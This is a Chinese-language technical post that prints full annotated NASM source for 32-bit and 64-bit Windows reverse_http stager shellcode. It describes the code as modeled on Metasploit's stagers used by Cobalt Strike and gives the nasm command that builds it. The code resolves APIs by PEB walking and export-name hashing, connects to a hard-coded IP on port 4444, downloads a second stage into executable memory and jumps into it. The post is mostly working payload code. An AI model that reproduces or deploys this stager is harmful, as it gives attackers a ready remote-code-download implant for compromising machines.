说明
CobaltStrike 中的 ShellCode 是参照了 MSF 中的 ShellCode 源码,最终看 sRDI 是否成功。
相关代码
以下列出示例中的部分:
stager_reverse_http.asm
[BITS 32]
[ORG 0]
cld ; 清除方向标志位
call start ; 调用 start,将 block_api 地址压入栈中
%include "./src/block/block_api.asm"
start:
pop ebp ; 此时 ebp 存储的是 block_api 的地址
%include "./src/block/block_reverse_http.asm"
block_api.asm
;-----------------------------------------------------------------------------;
; https://www.vergiliusproject.com/
;-----------------------------------------------------------------------------;
[BITS 32]
api_call:
pushad ; 保护现场,除了 eax 和 ecx
mov ebp, esp ; 开辟栈帧
xor edx, edx ; 将 edx 清零
mov edx, [fs:edx+0x30] ; 获取 PEB 结构指针
mov edx, [edx+0xc] ; 获取 PEB->Ldr 结构指针 (_LDR_DATA_TABLE)
mov edx, [edx+0x14] ; 从 PEB->Ldr->InMemoryOrderModuleList (_LIST_ENTRY) 中获取第一个模块
; 模块链表 (以内存位置排序)
next_mod:
; _LDR_DATA_TABLE_ENTRY -> 偏移 0x24 处 _UNICODE_STRING FullDllName
; struct _UNICODE_STRING
; {
; USHORT Length; // 0x0
; USHORT MaximumLength; // 0x2
; WCHAR* Buffer; // 0x4
; }
mov esi, [edx+0x28] ; 获取模块名的指针 (unicode 字符串) esi -> Buffer
movzx ecx, word [edx+0x26] ; 将 ecx 设置为 Buffer 的长度 (0x24 + 0x2 = 0x26)
xor edi, edi ; edi 清零,edi 将存储模块名的哈希值
loop_modname:
xor eax, eax ; eax 清零
lodsb ; 读取名称的下一个字节
cmp al, 'a' ; 某些版本的 windows 的模块名使用小写
jl not_lowercase
sub al, 0x20 ; 如果是,则标准化大写
not_lowercase:
ror edi, 0xd ; 将哈希值进行 ror
add edi, eax
dec ecx
jnz loop_modname
; 现在我们已经有了计算好的模块哈希值,存储在了 edi 中
push edx ; 储存当前模块 _LDR_DATA_TABLE_ENTRY 的指针值
push edi ; 储存当前模块的哈希值
; 继续迭代导出表 EAT
mov edx, [edx+0x10] ; _LDR_DATA_TABLE_ENTRY -> DllBase (偏移 0x10 处)
mov eax, [edx+0x3c] ; 获取 PE 头,IMAGE_DOS_HEADER -> e_lfanew (0x3c)
add eax, edx ; 此时 EAX 为模块真正 PE 头
mov eax, [eax+0x78] ; 获取导出表 rva,偏移 0x78
; NT 头前两个成员 (特征和文件头) 占 0x4 + 0x14 = 0x18 字节
; NT 头中最后一个成员可选头中前 30 个字段占 0x60 字节
test eax, eax ; 如果不存在导出表
jz get_next_mod1 ; 则获取下一个模块
add eax, edx ; 当前模块的 EAT 的 rva 与模块基地址相加
push eax ; 存储 EAT
mov ecx, [eax+0x18] ; 获取 EAT 中函数数量,EAT 结构中偏移 0x18 处
mov ebx, [eax+0x20] ; 获取函数名的 rva
add ebx, edx ; 与模块基地址相加,ebx = 函数 rva + 模块基地址
; 得到函数地址,存储在 ebx 中
; 计算模块哈希和函数名哈希
get_next_func:
test ecx, ecx ; 从 jecxz 更改为适应下面随机 jmps 产生的较大偏移量
jz get_next_mod ; 如果 EAT 函数名数量没有,则处理下一个模块
dec ecx ; 函数数量自减
mov esi, [ebx+ecx*4] ; 获取下一个模块的 rva
add esi, edx ; 与模块基地址相加,esi = 模块 rva + 模块基地址
; 即下一个模块的地址
xor edi, edi ; 将 edi 清零,准备用来存储函数名哈希
; 与我们想要的那个进行比较
loop_funcname:
xor eax, eax ; 将 eax 清零
lodsb ; 读取函数名 ASCII 的下一个字节
ror edi, 0xd ; 将哈希值进行 ror
add edi, eax ; 与下一个字节相加
cmp al, ah ; 将 AL (名称的下一个字节) 与 AH (null) 进行比较
jne loop_funcname ; 如果还没有到达空终止符,继续
add edi, [ebp-8] ; 将当前模块哈希与函数哈希相加
cmp edi, [ebp+0x24] ; 将哈希值与我们要搜索的哈希值进行比较
jnz get_next_func ; 如果没有找到,就去计算下一个函数哈希
; 如果找到,则修复堆栈,调用函数,然后计算下一个值
pop eax ; 恢复当前模块的 EAT
mov ebx, [eax+0x24] ; 获取序号表的 rva
add ebx, edx ; 与模块基地址相加
mov cx, [ebx+ecx*2] ; 获取所需的函数序号
mov ebx, [eax+0x1c] ; 获取函数地址表的 rva
add ebx, edx ; 与模块基地址相加
mov eax, [ebx+ecx*4] ; 获取所需函数的 rva
add eax, edx ; 与模块基地址相加
; 修复堆栈并执行对所需函数调用
finish:
mov [esp+0x24], eax ; 使用所需的 API 地址覆盖旧的 eax 值
pop ebx ; 清除当前模块哈希
pop ebx ; 清除模块列表中的当前位置
popad ; 恢复所有被破坏的调用寄存器,除 eax、ecx 和 edx 外
pop ECX ; 恢复
pop EDX ; 恢复
push ECX ; push 正确的返回值
jmp eax ; 跳转到所需的函数那边
; 现在能返回到正确的调用处
get_next_mod:
pop eax
get_next_mod1:
pop edi
pop edx
mov edx, [edx] ; 获取下一个模块
jmp next_mod
block_reverse_http.asm
[BITS 32]
; 输入:EBP 必须是 api_call 的地址
; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
load_wininet:
push 0x0074656e ; Push the bytes 'wininet',0 onto the stack.
push 0x696e6977 ; ...
push esp ; Push a pointer to the "wininet" string on the stack.
push 0x0726774C ; LoadLibraryA
call ebp ; LoadLibraryA("wininet")
set_retry:
push byte 8 ; retry 8 times should be enough
pop edi
xor ebx, ebx ; push 8 zeros ([1]-[8])
mov ecx, edi
push_zeros:
push ebx
loop push_zeros
internetopen:
push 0xA779563A ; InternetOpenA
call ebp
internetconnect:
push byte 3 ; DWORD dwService (INTERNET_SERVICE_HTTP)
push ebx ; 密码 (NULL)
push ebx ; 用户名 (NULL)
push dword 4444 ; 端口号
call got_server_uri ; double call to get pointer for both server_uri and
server_uri: ; server_host; server_uri is saved in EDI for later
db "/tool", 0x00
got_server_host:
push eax ; HINTERNET hInternet
push 0xC69F8957 ; InternetConnectA
call ebp
httpopenrequest:
push dword (0x80000000 | 0x04000000 | 0x00400000 | 0x00200000 | 0x00000200)
; 0x80000000 | ; INTERNET_FLAG_RELOAD
; 0x04000000 | ; INTERNET_NO_CACHE_WRITE
; 0x00400000 | ; INTERNET_FLAG_KEEP_CONNECTION
; 0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT
; 0x00000200 | ; INTERNET_FLAG_NO_UI
push ebx ; accept types
push ebx ; referrer
push ebx ; version
push edi ; server URI
push ebx ; method
push eax ; hConnection
push 0x3B2E55EB ; HttpOpenRequestA
call ebp
xchg esi, eax ; save hHttpRequest in esi
httpsendrequest:
push ebx ; lpOptional length (0)
push ebx ; lpOptional (NULL)
push ebx ; dwHeadersLength (0)
push ebx ; lpszHeaders (NULL)
push esi ; hHttpRequest
push 0x7B18062D ; HttpSendRequestA
call ebp
test eax,eax
jnz short allocate_memory
try_it_again:
dec edi
jnz send_request
failure:
push 0x56A2B5F0 ; ExitProcess 硬编码
call ebp
allocate_memory: ; 分配内存
push byte 0x40 ; PAGE_EXECUTE_READWRITE
push 0x1000 ; MEM_COMMIT
push 0x00400000 ; Stage allocation (8Mb ought to do us)
push ebx ; NULL as we dont care where the allocation is
push 0xE553A458 ; VirtualAlloc
call ebp ; VirtualAlloc(NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
download_prep:
xchg eax, ebx ; place the allocated base address in ebx
push ebx ; store a copy of the stage base address on the stack
push ebx ; temporary storage for bytes read count
mov edi, esp ; &bytesRead
download_more:
push EDI ; &bytesRead
push 8192 ; read length
push ebx ; buffer
push esi ; hRequest
push 0xE2899612 ; InternetReadFile
call ebp ; InternetReadFile()
jz failure
mov eax, [edi]
add ebx, eax ; buffer += bytes_received
test eax,eax ; optional?
jnz download_more ; continue until it returns 0
pop eax ; clear the temporary storage
execute_stage:
ret ; dive into the stored stage address
got_server_uri:
pop edi
call got_server_host
server_host:
db "192.168.1.235", 0x00
汇编使用的是 NASM 汇编,通过查看 MSF 中编译 ShellCode 的脚本,编译命令如下:
nasm -f bin -O3 -o xxxxxxx.bin xxxxxxx.asm
可用此生成的 bin 文件对比 CS 客户端生成相对应的 reverse_http 的二进制作对比。
64 位版本
stager_reverse_http.asm
[BITS 64]
[ORG 0]
cld ; 清除方向标志位
and rsp, 0xFFFFFFFFFFFFFFF0 ; 确保 RSP 16 字节对齐
call start ; 调用 start,将 api_call 地址压入栈中
%include "./src/block/block_api.asm"
start:
pop rbp ; 此时 rbp 存储的是 api_call 的地址
%include "./src/block/block_reverse_http.asm"
block_api.asm
[BITS 64]
; Windows x64 calling convention:
; http://msdn.microsoft.com/en-us/library/9b372w95.aspx
; Input: The hash of the API to call in r10d and all its parameters (rcx/rdx/r8/r9/any stack params)
; Output: The return value from the API call will be in RAX.
; Clobbers: RAX, RCX, RDX, R8, R9, R10, R11
; Un-Clobbered: RBX, RSI, RDI, RBP, R12, R13, R14, R15.
; RSP will be off by -40 hence the 'add rsp, 40' after each call to this function
; Note: This function assumes the direction flag has allready been cleared via a CLD instruction.
; Note: This function is unable to call forwarded exports.
api_call:
push r9
push r8
push rdx
push rcx
push rsi
xor rdx, rdx
mov rdx, [gs:rdx+0x60] ; 获取 PEB 结构指针
mov rdx, [rdx+0x18] ; 获取 PEB->Ldr 结构指针
mov rdx, [rdx+0x20] ; 从 PEB->Ldr->InMemoryOrderModuleList 中获取第一个模块
next_mod:
; _LDR_DATA_TABLE_ENTRY -> 偏移 0x48 处 _UNICODE_STRING FullDllName
; struct _UNICODE_STRING
; {
; USHORT Length; // 0x0
; USHORT MaximumLength; // 0x2
; WCHAR* Buffer; // 0x8
; };
movzx rcx, word [rdx+0x4a] ; 将 rcx 设置为长度 (0x48 + 0x8 = 0x4a)
mov rsi, [rdx+0x50] ; 获取模块名的指针 (unicode 字符串) -> Buffer
mov r9d, 0 ; 用 r9 来存储模块哈希
loop_modname:
xor rax, rax ; 清除 rax
lodsb ; 读取名称的下一个字节
cmp al, 'a' ; 某些版本的 windows 的模块名使用小写
jl not_lowercase ;
sub al, 0x20 ; 如果是,则标准化大写
not_lowercase:
ror r9d, 0xd ; 将哈希值进行 ror
add r9d, eax
loop loop_modname
; 现在我们已经有了计算好的模块哈希值 -> r9d
push rdx ; 储存当前模块 _LDR_DATA_TABLE_ENTRY 的指针值
push r9 ; 储存当前模块的哈希值
; 继续迭代导出表 EAT
mov rdx, [rdx+0x20] ; 获取模块基地址
mov eax, dword [rdx+0x3c] ; 获取 PE 头
add rax, rdx ; 加上模块基地址
cmp word [rax+0x18], 0x020B ; 判断模块是否为 64 位
; this test case covers when running on wow64 but in a native x64 context via nativex64.asm and
; their may be a PE32 module present in the PEB's module list, (typicaly the main module).
; as we are using the win64 PEB ([gs:96]) we wont see the wow64 modules present in the win32 PEB ([fs:48])
jne get_next_mod1 ; 如果不是,则进入到下一个模块
mov eax, dword [rax+0x88] ; 获取导出表 RVA
test rax, rax ; 如果不存在导出表
jz get_next_mod1 ; 则获取下一个模块
add rax, rdx ; 当前模块的 EAT 的 RVA 与模块基地址相加
push rax ; 存储 EAT
mov ecx, dword [rax+0x18] ; 获取 EAT 中函数数量
mov r8d, dword [rax+0x20] ; 获取函数名的 RVA
add r8, rdx ; 与模块基地址相加,得到函数地址,存储在 r8 中
; 计算模块哈希和函数名哈希
get_next_func:
jrcxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module
dec rcx ; Decrement the function name counter
xor r9, r9
mov esi, dword [r8+rcx*0x4] ; Get rva of next module name
add rsi, rdx ; Add the modules base address
;mov r9d, [rsp+0x8] ; Initialize the current function hash to the module hash
; And compare it to the one we want
loop_funcname:
xor rax, rax ; rax 清零
lodsb ; 获取函数名称下一个字符 ASCII 字节
ror r9d, 0xd ; 哈希值进行 ror
add r9d, eax ; Add the next byte of the name
cmp al, ah ; Compare AL (the next byte from the name) to AH (null)
jne loop_funcname ; If we have not reached the null terminator, continue
add r9, qword [rsp+8]
cmp r9d, r10d ; 与我们给出的函数名哈希进行比较
jnz get_next_func ; 如果不相等则继续一下函数哈希值比较
; 如果相等,则找到了,修复栈 call the function and then value else compute the next one...
pop rax ; Restore the current modules EAT
mov r8d, dword [rax+0x24] ; 获取序号表的 RVA
add r8, rdx ; 加上模块基地址
mov cx, [r8+0x2*rcx] ; Get the desired functions ordinal
mov r8d, dword [rax+0x1c] ; 获取地址表 RVA
add r8, rdx ; 加上模块基地址
mov eax, dword [r8+0x4*rcx] ; Get the desired functions RVA
add rax, rdx ; Add the modules base address to get the functions actual VA
; We now fix up the stack and perform the call to the drsired function...
finish:
pop r8 ; Clear off the current modules hash
pop r8 ; Clear off the current position in the module list
pop rsi ; Restore RSI
pop rcx ; Restore the 1st parameter
pop rdx ; Restore the 2nd parameter
pop r8 ; Restore the 3rd parameter
pop r9 ; Restore the 4th parameter
pop r10 ; pop off the return address
sub rsp, 0x20 ; reserve space for the four register params (4 * sizeof(QWORD) = 0x20)
; It is the callers responsibility to restore RSP if need be (or alloc more space or align RSP).
push r10 ; push back the return address
jmp rax ; Jump into the required function
; We now automagically return to the correct caller...
get_next_mod:
pop rax ; Pop off the current (now the previous) modules EAT
get_next_mod1:
pop r9 ; Pop off the current (now the previous) modules hash
pop rdx ; Restore our position in the module list
mov rdx, [rdx] ; 获取下一个模块
jmp next_mod
block_reverse_http.asm
[BITS 64]
; 输入:RBP 必须是 api_call 的地址
; 输出:RDI 连接服务器的 socket
; Clobbers: RAX, RCX, RDX, RDI, R8, R9, R10, R12, R13, R14, R15
load_wininet:
push byte 0
mov r14, 'wininet'
push r14 ; 把 'wininet',0 放入栈中
mov r14, rsp ; 保存 'wininet' 字符串地址
mov rcx, r14 ; 设置参数,rcx = 'wininet' 地址
mov r10, 0x0726774C ; LoadLibraryA 函数哈希值
call rbp ; LoadLibraryA("wininet")
internetopen:
push byte 0 ; alignment
push byte 0 ; NULL pointer
mov rcx, rsp ; LPCTSTR lpszAgent ("\x00")
xor rdx, rdx ; DWORD dwAccessType (PRECONFIG = 0)
xor r8, r8 ; LPCTSTR lpszProxyName
xor r9, r9 ; LPCTSTR lpszProxyBypass
push r8 ; DWORD dwFlags
push r8 ; alignment
mov r10, 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
call rbp
jmp dbl_get_server_host
internetconnect:
pop rdx ; LPCTSTR lpszServerName
mov rcx, rax ; HINTERNET hInternet
mov r8, 4444 ; PORT
xor r9, r9 ; LPCTSTR lpszUsername
push r9 ; DWORD_PTR dwContext (NULL)
push r9 ; DWORD dwFlags
push 3 ; DWORD dwService (INTERNET_SERVICE_HTTP)
push r9 ; alignment
mov r10, 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" )
call rbp
jmp get_server_uri
httpopenrequest:
mov rcx, rax ; HINTERNET hConnect
xor rdx, rdx ; LPCTSTR lpszVerb
pop r8 ; LPCTSTR lpszObjectName
xor r9, r9 ; LPCTSTR lpszVersion
push rdx ; DWORD_PTR dwContext
push qword (0x0000000080000000 | 0x0000000004000000 | 0x0000000000400000 | 0x0000000000200000 |0x0000000000000200) ; dwFlags
;0x80000000 | ; INTERNET_FLAG_RELOAD
;0x04000000 | ; INTERNET_NO_CACHE_WRITE
;0x00400000 | ; INTERNET_FLAG_KEEP_CONNECTION
;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT
;0x00000200 | ; INTERNET_FLAG_NO_UI
push rdx ; LPCTSTR *lplpszAcceptTypes
push rdx ; LPCTSTR lpszReferer
mov r10, 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" )
call rbp
mov rsi, rax
retry:
push byte 10
pop rdi
httpsendrequest:
mov rcx, rsi ; HINTERNET hRequest
xor rdx, rdx ; LPCTSTR lpszHeaders
xor r8, r8 ; DWORD dwHeadersLength
xor r9, r9 ; LPVOID lpOptional
push rdx ; alignment
push rdx ; DWORD dwOptionalLength
mov r10, 0x7B18062D ; hash( "wininet.dll", "HttpSendRequestA" )
call rbp
test eax,eax
jnz short allocate_memory
try_it_again:
dec rdi
jz failure
dbl_get_server_host:
jmp get_server_host
get_server_uri:
call httpopenrequest
server_uri:
db "/tool", 0x00
failure:
mov r14, 0x56A2B5F0 ; hardcoded to exitprocess for size
call rbp
allocate_memory:
xor rcx, rcx ; LPVOID lpAddress
mov rdx, 0x00400000 ; SIZE_T dwSize
mov r8, 0x1000 ; DWORD flAllocationType(MEM_COMMIT)
mov r9, 0x40 ; DWORD flProtect(PAGE_EXECUTE_READWRITE)
mov r10, 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
call rbp
download_prep:
xchg rax, rbx ; place the allocated base address in ebx
push rbx ; store a copy of the stage base address on the stack
push rbx ; temporary storage for bytes read count
mov rdi, rsp ; &bytesRead
download_more:
mov rcx, rsi ; HINTERNET hFile
mov rdx, rbx ; LPVOID lpBuffer
mov r8, 8192 ; DWORD dwNumberOfBytesToRead
mov r9, rdi ; LPDWORD lpdwNumberOfBytesRead
mov r10, 0xE2899612 ; hash( "wininet.dll", "InternetReadFile" )
call rbp
add rsp, 32 ; clean reserverd space
test eax,eax ; download failed? (optional?)
jz failure
mov ax, word [rdi]
add rbx, rax ; buffer += bytes_received
test rax,rax ; optional?
jnz download_more ; 继续直到返回 0
pop rax ; clear the temporary storage
pop rax ; f*cking alignment
execute_stage:
ret ; 返回到之前动态分配地址处
get_server_host:
call internetconnect
server_host:
db "192.168.40.128", 0x00
